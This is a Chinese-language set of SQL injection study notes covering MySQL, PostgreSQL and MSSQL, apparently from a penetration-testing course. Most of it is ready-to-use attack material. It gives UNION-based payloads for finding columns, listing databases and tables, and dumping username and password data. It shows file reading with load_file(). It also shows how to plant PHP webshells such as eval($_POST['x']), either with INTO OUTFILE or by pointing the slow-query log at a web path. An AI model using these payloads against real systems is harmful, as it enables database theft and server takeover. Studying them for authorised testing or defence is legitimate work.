知识点:

1、SQL注入-MYSQL数据库
2、SQL注入-MSSQL数据库(SqlServer)
3、SQL注入-PostgreSQL数据库

详细点:

数据库load_file()读取操作

高低权限注入漏洞的影响:

- 后期注入漏洞的利用
- 高低权 限数据库的区别:
- 低权限数据库只能猜解
- 1.可暴力猜解
- 2.根据用户数据库特性查询表名列名等数据,得到需要猜测的数据
- 3.只能用于获取服务器后台的操作权限,而不能获取服务器的操作权限
- 高权限数据库能
- 可以执行跨库注入
- 可以升级为读写和执行的操作
- 除了access外所有的数据库都支持高权限注入
- 理论上提升操作除了access外所有的数据库都可行
- 实战:可能遇到升级失败的情况
- 权限限制
- 数据库内禁止权限
- 思路:
- 获取数据库核心数据
- 文件读写与命令执行
- 注意:
- 拿下后台不等于拿下权限,需要进行权限提升才能拿到目标权限
- 读写执行可以写入后门到网站
- 命令执行用来反弹webshell等操作
- 高权限数据库支持低权限数据库所能做的一切操作
- 实战情况可能有所不同
- 数据库简单限制以及防护导致读写或者命令执行=>绕不过直接放弃

高权限数据库与低权限数据库的成因
- 当前网站脚本连接数据库时所使用的用户账户权限
- 连接的对象是否为高用户会限制权限执行

MYSQL-root高权限读写注入


- load_file文件读取操作:
- 必须满足的条件
1、文件权限:chmod a+x pathtofile
必须有权限读取并且文件必须完全可读。
and (select count(*) from mysql.user)>0 /*如果结果返回正常,说明具有读写权限.*/
and (select count(*) from mysql.user)>0 /* 返回错误,应该是管理员给数据库账户降权了*/
2、文件大小: 必须小于max_allowed_packet
3、必须使用完整路径
- 当提交一个错误的查询时,如果display_errors=on,
程序就会暴露web目录的绝对路径
- phpinfo,报错,字典等获取完整路径
- 读取配执性文件

- 使用:
select load_file('d:/www/index.php');
- 功能
- 实现服务器上的任意文件读取
- 读取有价值的配置性文件,例如conn.php
- 读取操作一般是绝对路径,
一般路径写法为:D:/1.txt
或者D:\\1.txt
或者不在乎转义的写法:D:\1.txt
- 对应限制
- 限制文件读取:
- mysql配置文件my.ini
- secure-file-priv=C:/ => 限制文件读取写入
- 突破secure-file-priv无法写入限制:
- 利用phpmyadmin写shell
- 突破的关键点在于建立sql语句执行的地方
- 连接phpmyadmin接口-> 尝试登录并且进入后就能获取mysql执行环境
- 利用日志写shell
- 执行处:
- URL的SQL注入点
- 直接连接上对方数据库,登录后执行操作
- 来源
- https://www.cnblogs.com/c1e4r/articles/8902444.html
- set global show_query_log=1;
- 启用慢查询日志/开启日志记录
- set global show_query_log_file="shell路径";
- 伪造/修改日志文件的绝对路径以及文件名
- 指定文件路径
- select '<?php phpinfo();?>' or sleep(11);
- 向日志写入shell
- 也可以写入一句话木马
- 127.0.0.1/shell.php
- 尝试访问,正常回显phpinfo()则成功
- 查看服务器默认慢查询时间值
- show global variables like '%long_query_time%'

-

- 自带的文件写入操作
可以使用Hex编码将后门写入进去,再使用菜刀进行连接
<?php eval( $_POST['x']);?>
- select '写入的内容' into downfile('D:/1.txt')
- select '写入的内容' into outfile('D:/1.txt')

简述:

- 读取文件:
UNION SELECT 1,load_file('d:/w.txt'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
- 写入文件:
UNION SELECT 1,'xxxx',3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into outfile 'd:/www.txt'
-路径获取:
phpinfo,报错,字典等
-无法写入:
secure_file_priv突破 注入中需要支持SQL执行环境,没有就需要借助phpmyadmin或能够直接连上对方数据库进行绕过

set global slow_query_log=1;
set global slow_query_log_file='shell路径';
select '<?php eval($_GET[A])?>' or SLEEP(1);

PostgreSQL-高权限读写注入

- 测列数:
order by 4
and 1=2 union select null,null,null,null
- 测显位:第23
and 1=2 union select 'null',null,null,null 错误
and 1=2 union select null,'null',null,null 正常
and 1=2 union select null,null,'null',null 正常
and 1=2 union select null,null,null,'null' 错误
- 获取信息:版本,当前用户,当前数据库名
and 1=2 UNION SELECT null,version(),null,null
and 1=2 UNION SELECT null,current_user,null,null
and 1=2 union select null,current_database(),null,null
- 获取数据库名:
and 1=2 union select null,string_agg(datname,','),null,null from pg_database
- 获取表名:
1and 1=2 union select null,string_agg(tablename,','),null,null from pg_tables where schemaname='public'
2and 1=2 union select null,string_agg(relname,','),null,null from pg_stat_user_tables
-获取列名:
and 1=2 union select null,string_agg(column_name,','),null,null from information_schema.columns where table_name='reg_users'
- 获取数据:
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users
- 补充-获取dba用户(同样在DBA用户下,是可以进行文件读写的):(判断是不是管理员账户,查询超级用户)
and 1=2 union select null,string_agg(usename,','),null,null FROM pg_user WHERE usesuper IS TRUE
参考:https://www.freebuf.com/sectool/249371.html ->文件读写的

MSSQL-sa高权限读写执行注入

- 测列数:
order by 4
and 1=2 union all select null,null,null,null
- 测显位:
and 1=2 union all select null,1,null,null
and 1=2 union all select null,null,'s',null
- 获取信息:
@@version 获取版本信息
db_name() 当前数据库名字
user、system_user,current_user,user_name 获取当前用户名
@@SERVERNAME 获取服务器主机信息
and 1=2 union all select null,db_name(),null,null
- 获取表名:
and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,null
union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,null
- 获取列名:
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),4) from sysobjects),null,null
查到没有回显为止
- 获取数据:
and 1=2 union all select null,username, password ,null from manage